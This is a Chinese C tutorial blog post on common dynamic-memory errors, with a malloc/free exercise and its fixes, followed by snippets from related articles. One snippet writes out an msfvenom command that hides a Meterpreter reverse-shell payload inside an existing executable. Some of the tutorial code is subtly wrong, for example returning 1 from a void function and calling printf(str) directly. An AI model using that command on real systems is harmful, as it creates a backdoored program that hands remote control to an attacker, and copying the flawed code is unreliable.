71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础
备注:数据结构需要掌握指针,结构体和动态内存管理
目录
6.常见的动态内存的错误
1.对空指针解引用
2.对动态空间的越界访问
3.对非动态内存空间进行free释放
4.使用free只释放开辟的内存空间的一部分
5.对同一块动态内存多次释放
6.动态开辟的内存忘记释放
7.动态开辟的内存无法释放
代码改进
7.动态内存练习题
1.VS下,求下列代码的执行结果
答案速查
分析
改进后
方案1
方案2
承接70.【C语言】动态内存管理(重点)(3)文章
6.常见的动态内存的错误
1.对空指针解引用
之前在68.【C语言】动态内存管理(重点)(1)说过
如果真的解引用了, 可能会引发程序崩溃,内存损坏或数据丢失
因此在使用malloc,calloc,recalloc开辟内存空间时,要先判断返回的指针是否为空指针,再做其他操作
2.对动态空间的越界访问
#include <stdlib.h>
int main()
{int* p = (int*)malloc(4);*(p + 1) = 2;*(p + 2) = 3;return 0;
}
打开VS的内存窗口,输入p
显然脱离了动态分配的空间,入侵了其他数据处,可能会引发程序崩溃,内存损坏或数据丢失
3.对非动态内存空间进行free释放
#include <stdlib.h>
int main()
{int a[5] = { 0 };int* p = a;free(p);p = NULL;return 0;
}
导致错误:
4.使用free只释放开辟的内存空间的一部分
#include <stdlib.h>
int main()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}for (int i = 0; i < 5; i++)*(p + i) = i;p++;free(p);p = NULL;return 0;
}
导致错误:
起始的指针不能移动!(上方代码的p++;是禁止使用的,不能改变p的值)
5.对同一块动态内存多次释放
#include <stdlib.h>
int main()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}free(p);free(p);p = NULL;return 0;
}
导致错误:
如果非要多次释放,在第一次释放后使p置NULL,再free(p);
free(p);p = NULL;free(p);
free(NULL);时,free函数什么也不做(free函数具体参见69.【C语言】动态内存管理(重点)(2))
6.动态开辟的内存忘记释放
忘记释放导致该内存不能再使用,可能会造成内存泄漏,程序性能下降,系统资源耗尽,程序崩溃问题
7.动态开辟的内存无法释放
#include <stdlib.h>
void function()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}//使用//......
}int main()
{function();free(p);return 0;
}
function函数内的p是局部变量,函数执行结束时,局部变量被销毁(找不到动态内存的地址),交换给操作系统,如果此时在main函数里free(p);编译无法通过,无法释放空间
(具体介绍局部变量的特性见4.【C语言】初识常量与变量)
同样的,无法释放导致该内存不能再使用,可能会造成内存泄漏,程序性能下降,系统资源耗尽,程序崩溃问题
代码改进
在function函数中返回p
#include <stdlib.h>
int* function()
{int* p = (int*)malloc(20);if (p == NULL){perror("malloc");return 1;//错误返回}//使用//......return p;
}int main()
{//r_p是return_pointer的缩写int* r_p=function();free(r_p);r_p = NULL;return 0;
}
因此
1.在函数中开辟的动态内存空间一定要返回动态内存空间的起始地址,用于main的free函数释放;
2.malloc和free成对使用;calloc和free成对使用(如果是在自定义函数中,则一定要在其返回前使用free)
7.动态内存练习题
1.VS下,求下列代码的执行结果
#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void GetMemory(char* p)
{p = (char*)malloc(100);
}void Test(void)
{char* str = NULL;GetMemory(str);strcpy(str, "hello world");printf(str);
}int main()
{Test();return 0;
}
答案速查
程序崩溃
分析
运行到strcpy处发生错误
注意到0x00000000,这实际上是空指针,说明str还是空指针,进一步推导得出:GetMemory并没有改变str的内容,该函数调用结束,p被销毁,即传值调用
(有关传值调用和传址调用的介绍见29.【C语言】函数系列中 自定义函数)
因此:strcpy(str, "hello world");等价为strcpy(NULL, "hello world");
在51.【C语言】字符函数和字符串函数(strcpy函数)文中提到过,strcpy函数的参数不接受空指针,因此这里会报错
而且printf(str);实际上是对空指针解引用,这是本文介绍的6.常见的动态内存的错误的第1点错误
除此之外,该代码有两处明显不规范的地方:
1.malloc函数的返回值没有判断是否为空指针
2.有malloc但没有free,容易发生内存泄漏
改进后
方案1
使用传址(GetMemory(&str);)调用,p为二级指针(接收str指针的指针)
#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void GetMemory(char** p)
{*p = (char*)malloc(100);
}int Test(void)
{char* str = NULL;GetMemory(&str);if (str == NULL){perror("malloc");return 1;//错误返回}strcpy(str, "hello world");printf(str);free(str);str = NULL;return 0;
}int main()
{Test();return 0;
}
方案2
p为一级指针,此时GetMemory无需参数
#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
char* GetMemory()
{char* p = (char*)malloc(100);return p;
}int Test(void)
{char* str = NULL;str = GetMemory();if (str == NULL){perror("malloc");return 1;}strcpy(str, "hello world");printf(str);free(str);str = NULL;return 0;
}int main()
{Test();return 0;
}
相关文章:

71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...

JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...

Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...

【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...

Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...

《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...

征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...

我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...

MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...

01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...

畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...

【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...

二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...

《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...

redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...

一张照片变换古风写真,Flux如何做到?
前言 解锁图像创作新体验:ComfyUI指南 在AI图像生成领域,ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具,提供了一个节点式图形用户界面(GUI),让用户可以通过简单的拖拽与配置来…...

医药行业的智能合同审查:大模型与AI赋能合规管理
随着医药行业的快速发展,尤其是在全球化背景下,企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障,更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求,包括与政府机构、研…...

幂等性接口实现
1、什么是幂等性 幂等(idempotence),这个词源自数学,幂等性是数学中的一个概念,常见于抽象代数中。表达的是N次变换与1次变换的结果相同。简单来说,就是如果方法调用一次和调用多次产生的效果是相同的&…...

C++ 语言特性29 - 协程介绍
一:什么是协程 C20 引入了协程(coroutine),这是 C 标准库中一个强大的新特性。协程是一种可以在执行中暂停并随后恢复的函数,允许程序在异步或并行场景下高效管理任务,而不需要传统的线程或复杂的回调机制。…...

[Day 84] 區塊鏈與人工智能的聯動應用:理論、技術與實踐
AI在公共安全中的應用實例 引言 隨著技術的進步,人工智能(AI)在公共安全領域的應用越來越廣泛。AI不僅能夠提高安全部門的工作效率,還能有效幫助預防和處理各類公共安全事件。從人臉識別、行為分析到災害預測,AI正在…...

八大排序--01冒泡排序
假设有一组数据 arr[]{2,0,3,4,5,7} 方法:开辟两个指针,指向如图,前后两两进行比较,大数据向后冒泡传递,小数据换到前面。 一次冒泡后,数组中最大…...

【Kubernetes】常见面试题汇总(五十)
目录 112.考虑一个公司要向具有各种环境的客户提供所有必需的分发产品的方案。您如何看待他们如何动态地实现这一关键目标? 113.假设一家公司希望在从裸机到公共云的不同云基础架构上运行各种工作负载。在存在不同接口的情况下,公司将如何实现这一目标&…...

Linux 操作系统中的 main 函数参数和环境变量
在聊进程替换之前,有一些基础知识我们得先弄清楚。掌握了这些内容,不仅能让你更轻松地理解 Shell 是如何工作的,还能为之后的进程替换操作铺好路。进程替换说白了就是 Shell 的基本原理,它能把一个命令的输出直接当成另一个命令的…...

Vue项目中通过插件pxtorem实现大屏响应式
一、原理 rem单位代表的是根节点的font-size大小,所以当我们在页面上使用rem去替代px的时候,就可以通过修改根节点font-size的值,动态地让页面上的元素根据不同浏览器宽高下去实现变化。 二、工具 1.postcss-pxtorem 作用:在编…...

(Django)初步使用
前言 Django 是一个功能强大、架构良好、安全可靠的 Python Web 框架,适用于各种规模的项目开发。它的高效开发、数据库支持、安全性、良好的架构设计以及活跃的社区和丰富的文档,使得它成为众多开发者的首选框架。 目录 安装 应用场景 良好的架构设计…...

【星汇极客】单片机竞赛之2024睿抗机器人大赛-火线速递赛道(持续更新)
前言 本人是一名嵌入式学习者,在大学期间也参加了不少的竞赛并获奖,包括但不限于:江苏省电子设计竞赛省一、睿抗机器人国二、中国高校智能机器人国二、嵌入式设计竞赛国三、光电设计竞赛国三、节能减排竞赛国三。 后面会经常写一下博客&…...

生信科研,教授(优青)团队一站式指导:高通量测序技术--农业植物基因组分析、组蛋白甲基化修饰、DNA亲和纯化测序、赖氨酸甲基化
组蛋白甲基化修饰工具(H3K4me3 ChIP-seq) 组蛋白甲基化类型也有很多种,包括赖氨酸甲基化位点H3K4、H3K9、H3K27、H3K36、H3K79和H4K20等。组蛋白H3第4位赖氨酸的甲基化修饰(H3K4)在进化上高度保守,是被研究最多的组蛋白修饰之一。 DNA亲和纯化测序 DNA亲…...

【Immich部署与访问】自托管媒体文件备份服务 Immich 本地化部署与远程访问存储数据
文章目录 前言1.关于Immich2.安装Docker3.本地部署Immich4.Immich体验5.安装cpolar内网穿透6.创建远程链接公网地址7.使用固定公网地址远程访问 前言 本篇文章介绍如何在本地搭建lmmich图片管理软件,并结合cpolar内网穿透实现公网远程访问到局域网内的lmmich&#…...

AI少女/HS2甜心选择2 仿逆水寒人物卡全合集打包
内含AI少女/甜心选择2 仿逆水寒角色卡全合集打包共6张 内含:白灵雪魅落霞飞雁君临华歌白君临华歌黑平野星罗晚香幽韵 下载地址: https://www.51888w.com/436.html 部分演示图:...